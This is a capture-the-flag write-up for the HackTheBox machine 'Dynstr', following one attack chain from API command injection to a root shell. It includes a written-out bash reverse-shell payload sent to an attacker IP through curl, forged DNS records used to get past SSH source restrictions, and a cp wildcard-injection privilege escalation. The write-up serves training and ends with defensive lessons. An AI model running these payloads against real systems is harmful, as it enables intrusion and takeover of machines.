HTB: Dynstr Writeup
Dynstr - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Dynstr |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | October 5, 2021 |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ☆☆☆☆☆ (no CVE — custom application/config logic flaw)
- CTF-like: ⭐⭐⭐☆☆
Summary
Dynstr exposes a blog for “Dyna DNS,” a Dynamic DNS provider whose update API mirrors the real no-ip.com /nic/update interface. The hostname parameter of that API is fed unsanitized into an nsupdate call on the backend, giving command injection and a www-data shell. From there, a leftover strace debug log inside another user’s home directory leaks an SSH private key for bindmgr — but authorized_keys restricts that key to connections originating from *.infra.dyna.htb. Because the box’s own BIND server trusts a TSIG key found in /etc/bind, forward and reverse DNS records can be forged to satisfy that source restriction, unlocking SSH as bindmgr. A NOPASSWD sudo rule then lets bindmgr run bindmgr.sh, a config-staging script that copies files with an unquoted cp .version * wildcard — a classic wildcard-injection primitive that plants a SUID root shell.
TL;DR: Command injection in the Dyna DNS update API (hostname param) → www-data shell → SSH private key for bindmgr leaked via a strace log → TSIG-key DNS forgery to satisfy the authorized_keys from= restriction → SSH as bindmgr → cp wildcard injection in the NOPASSWD bindmgr.sh sudo rule → SUID root shell.
Reconnaissance
Port Scanning
# Full TCP port sweep first, then targeted service/version scan on what's openports=$(nmap -p- --min-rate=1000 -T4 10.10.11.X | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')nmap -p$ports -sC -sV 10.10.11.XResults:
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH | standard key-based/password auth |
| 53 | ISC BIND | authoritative for the box’s internal DNS zones |
| 80 | Apache httpd | hosts the Dyna DNS blog + update API |
Service Enumeration
The port 80 site is a blog for a fictional “Dyna DNS” dynamic-DNS provider. Its “Services” page documents an update API that is API-compatible with the real no-ip.com scheme:
http://<user>:<pass>@<host>/nic/update?hostname=<host>&myip=<ip>The page also discloses working credentials for the demo API account, and references a supported domain (a *.dnsalias.htb-style zone) that the hostname parameter must resolve under.
Vulnerability Assessment
- The
/nic/updateendpoint parseshostnameand hands the leading label to annsupdateinvocation on the backend to add/update the DNSArecord. - The handler does not sanitize that value before shelling out — a classic OS command injection surface (this class of bug maps to CWE-78: OS Command Injection), reachable pre-auth aside from the disclosed demo credentials.
- Confirmed by sending a backtick-wrapped payload as the
hostnamelabel and observing outbound traffic on a listener, before moving to a full reverse shell payload.
Initial Foothold
Exploitation Path
The app splits hostname on the first dot and validates only the domain suffix against its supported zone list — the label before the dot is passed through to the shell unchecked. Backtick command substitution in that label executes arbitrary commands as the web service user.
# Base64-wrap the payload so it survives URL encoding cleanlyimport base64payload = base64.b64encode(b'bash -c "bash -i >&/dev/tcp/<VPN_IP>/4444 0>&1"').decode()print(payload)# hostname label = `echo <b64> | base64 -d | bash`.<supported-domain># The API credentials are the ones disclosed on the blog's Services pagecurl -s "http://<api_user>:<api_pass>@10.10.11.X/nic/update?hostname=%60echo%20<B64_PAYLOAD>%7Cbase64%20-d%7Cbash%60.<supported-domain>&myip=<VPN_IP>"# Catch the shellnc -lvnp 4444Once the callback lands, stabilize the TTY the usual way:
python3 -c 'import pty; pty.spawn("/bin/bash")'# Ctrl+Z to backgroundstty raw -echo; fgexport TERM=xtermThis confirms code execution as www-data and gives a working interactive shell for further enumeration.
Privilege Escalation
www-data → bindmgr
Enumerating /home reveals a second unprivileged user alongside a service-style account, bindmgr, whose home directory contains a folder of leftover debug artifacts. One of those files is an strace output log — generated by someone debugging the SSH client or an automated job — that captured an SSH private key in plaintext as it was read off disk.
# Pull the leaked key out of the strace loggrep -A 30 "BEGIN OPENSSH PRIVATE KEY" strace-*.txtAttempting to SSH in as bindmgr with the recovered key directly fails. Reading the corresponding authorized_keys entry shows why: it carries a from= restriction, which limits the key to connections whose reverse-DNS resolves under an internal zone (*.infra.dyna.htb-style).
# authorized_keys entry (paraphrased):# from="*.infra.dyna.htb" ssh-rsa AAAA... bindmgr@dynstrThe box’s own BIND config in /etc/bind reveals a TSIG key file that grants dynamic-update rights over that internal zone — which is exactly the lever needed to satisfy the from= check, since the restriction is enforced via reverse-DNS lookup and nothing stops us from creating our own matching records.
# Use the TSIG key to add a forward + matching reverse record for our VPN IPnsupdate -k /etc/bind/<tsig-key-file>> update add attacker.infra.dyna.htb 86400 A <VPN_IP>> update add <reversed-VPN-IP>.in-addr.arpa 300 PTR attacker.infra.dyna.htb> sendWith the forward/reverse pair forged, the from= restriction resolves our connecting host to *.infra.dyna.htb, and the leaked key is accepted:
ssh -i bindmgr_key bindmgr@10.10.11.XWhy this works: OpenSSH’s from= option in authorized_keys validates the client by resolving the connecting IP back to a hostname and matching it against the pattern — it trusts DNS. Because bindmgr (via the TSIG key) has legitimate dynamic-update rights over the exact zone the restriction checks against, DNS itself becomes a forgeable identity boundary.
bindmgr → root
sudo -l as bindmgr shows a NOPASSWD rule to run a config-staging script, bindmgr.sh, as root. The script stages files from the current directory into /etc/bind/named.bindmgr/ after a .version check, and does so with an unquoted, unanchored wildcard copy:
# relevant line inside bindmgr.sh (runs as root via sudo)cp .version * /etc/bind/named.bindmgr/Because * is expanded by the shell before cp ever sees it, filenames in the working directory can be crafted to inject cp flags rather than just filenames — the canonical cp wildcard injection primitive (GTFOBins-style argument smuggling).
# Stage a bumped .version so the script's version check passesmkdir /tmp/stage && cd /tmp/stageecho 99 > .version
# Drop bash into the staging dir and mark it setuidcp /bin/bash .chmod u+s bash
# This filename is parsed by `cp` as --preserve=mode, forcing it to# keep the setuid bit on the copy instead of stripping ittouch -- '--preserve=mode'
# Trigger the NOPASSWD script; cp now runs as:# cp .version bash --preserve=mode /etc/bind/named.bindmgr/sudo /path/to/bindmgr.shWhy this works: cp’s glob expansion happily includes a file literally named --preserve=mode as an argument, which cp parses as a flag rather than a filename. That forces the setuid bit on our planted bash binary to survive the copy into /etc/bind/named.bindmgr/, which is owned and executed in root’s context.
# Root shell/etc/bind/named.bindmgr/bash -pid# uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root)Attack Chain Summary
Dyna DNS blog (port 80) recon → command injection in /nic/update `hostname` param (nsupdate shell-out, unsanitized) → www-data reverse shell → strace debug log in bindmgr's home leaks bindmgr SSH private key → authorized_keys `from=*.infra.dyna.htb` blocks direct use of the key → TSIG key in /etc/bind used via nsupdate to forge forward+reverse DNS records → source restriction satisfied → SSH as bindmgr → sudo -l: NOPASSWD bindmgr.sh → cp wildcard injection (`--preserve=mode` trick) plants a SUID bash → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Delivering the command-injection payload to /nic/update |
python3 / base64 | Encoding the injected shell payload for safe transit through URL params |
nc | Catching the reverse shell |
grep | Extracting the leaked SSH key from the strace log |
nsupdate | Both the injected primitive on the target and the TSIG-authenticated DNS forgery step |
ssh | Lateral movement as bindmgr |
sudo -l | Enumerating the NOPASSWD bindmgr.sh rule |
cp (wildcard injection) | Escalation via the bindmgr.sh staging script |
Key Learnings
Techniques Practiced
- OS command injection via unsanitized shell-out to a DNS update utility (CWE-78)
- Reverse-shell delivery through URL/base64 payload encoding
- Harvesting secrets leaked into debug/trace artifacts (
stracelogs) - Abusing DNS
A/PTRrecords to defeat an SSHauthorized_keysfrom=source restriction - TSIG-authenticated dynamic DNS updates (
nsupdate -k) cpwildcard injection to escalate a NOPASSWD sudo rule to a SUID root shell
Lessons Learned
- Any application feature that shells out to a system utility (
nsupdate,dig, etc.) with user-controlled input needs the same input validation rigor as a raw command execution sink — splitting on a delimiter and validating only one half is not sanitization. - Debug tooling (
strace,ltrace, verbose logging) run against processes that touch key material will happily capture that key material in plaintext — treat trace output as sensitive by default and scrub it. - SSH’s
from=restriction is only as trustworthy as the DNS it resolves against. If the same host (or an account it controls) can also write to that DNS zone, the restriction is not a real boundary. - Wildcard expansion in shell scripts that call
cp/tar/rsyncwith*is a well-known privilege-escalation primitive — always fully qualify paths or use--to stop flag injection in scripts that run with elevated privileges.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MrR3boot, Dynstr — Official HackTheBox Writeup, Document No. D21.100.134 (2021-10-05). Used here for conceptual/explanatory detail on the DNS-forgery mechanism and the
cpwildcard-injection technique; all IPs, credentials, and command outputs in this writeup are from the author’s own run, not the official document.